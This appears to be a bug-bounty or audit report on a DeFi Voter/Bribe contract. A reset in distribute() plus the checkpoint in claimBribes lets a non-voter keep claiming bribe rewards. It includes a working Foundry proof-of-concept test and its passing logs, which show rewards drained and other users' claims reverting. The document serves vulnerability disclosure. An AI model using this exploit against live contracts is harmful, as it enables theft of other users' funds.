Voter@distribute resets the total votes to 0 on the given Gauge corresponding Bribe and doesn't trigger a voting checkpoint. It also doesn't change the individual user balances and total supply causing Bribe and Voter to be out of sync until all previous voter vote again.
Additionally, Voter@claimBribes triggers a checkpoint for the given token id.
Combined, they allow for situation where a user :
Votes in Epoch N
In Epoch N + 1 :
Does not vote.
Calls Voter@claimBribes to claim any bribes from Epoch N, triggering a checkpoint and activating rewards for this epoch (.i.e Epoch N + 1, claimable in Epoch N + 2).
Calls Voter@distribute to reset total votes. Rewards will now be calculated based on new voters, but still distributed to everyone with a checkpoint.
User can keep claiming a share of bribes in future epochs at the expense of other voters.
Impact Details
The impact of this issue will vary based on the participating voters voting power and the pool allocations and can span from rewards being fully stolen to partially stolen and preventing all / some users from claiming theirs because of a lack of funds to cover their shares.
functiontestStealBribes() public {uint256 tokenId1 =createVeAlcx(admin,2* TOKEN_1, MAXTIME,false); Bribe sushiGaugeBribe =Bribe(voter.bribes(address(sushiGauge)));address sushiGaugeBribeToken = sushiGaugeBribe.rewards(0);address[] memory pools =newaddress[](1); pools[0] = sushiPoolAddress;uint256[] memory weights =newuint256[](1); weights[0] =1;// Notify rewards to sushi bribecreateThirdPartyBribe(address(sushiGaugeBribe), sushiGaugeBribeToken, TOKEN_1);skip(1days);// Vote for tokendId1 hevm.prank(admin); voter.vote(tokenId1, pools, weights,0);// Go to next epoch hevm.warp(newEpoch());address[] memory bribes =newaddress[](1); bribes[0] =address(sushiGaugeBribe);address[][] memory tokens =newaddress[][](1); tokens[0] =newaddress[](1); tokens[0][0] = sushiGaugeBribeToken;// admin claims Bribe rewards from previous epoch. // This calls Bribe@getRewardForOwner setting lastEarn time for the given token and triggering a new checkpoint for that token.
// admin gets all the rewards as he is the only who voted in the previous epoch. hevm.prank(admin); voter.claimBribes(bribes, tokens, tokenId1);skip(1days);// Distribute gauge rewards // This calls Bribe@resetVoting which set totalVoting to 0 in that Bribe without triggering a voting checkpoint.
voter.distribute();skip(1days);// Notify rewards to sushi bribe againcreateThirdPartyBribe(address(sushiGaugeBribe), sushiGaugeBribeToken, TOKEN_1);// Two other users now vote in this epoch.// This call Bribe@deposit (amongst other calls) and triggers new token, voting and supply checkpoints.// If no other users vote here, admin will just get the full bribe rewards.uint256 tokenId2 =createVeAlcx(beef, TOKEN_1, MAXTIME,false);uint256 tokenId3 =createVeAlcx(dead, TOKEN_1, MAXTIME,false); hevm.prank(beef); voter.vote(tokenId2, pools, weights,0); hevm.prank(dead); voter.vote(tokenId3, pools, weights,0); // Go to next epoch hevm.warp(newEpoch());// All 3 users can claim rewards.// However, rewards are not distributed equaly as it would be the case if all of them voted. // totalVoted only accounts for two voters, so rewards will only be split in two.// If X is the amount of reward : console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId1)); // Can get aproximately X because admin has double the veALCX voting power in this case
console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId2)); // Can get X / 2 console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId3)); // Can get X / 2 hevm.prank(admin); voter.claimBribes(bribes, tokens, tokenId1);// This will fail as there are not enough rewards left in this case hevm.prank(beef); vm.expectRevert(); voter.claimBribes(bribes, tokens, tokenId2); hevm.prank(dead); vm.expectRevert(); voter.claimBribes(bribes, tokens, tokenId3); }
Results
Ran 1 test for src/test/Voting.t.sol:VotingTest[PASS] testStealBribes() (gas: 6893490)Logs: 994217758672975468 500000000000000000 500000000000000000Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 88.42s (70.90s CPU time)Ran 1 test suite in 90.33s (88.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)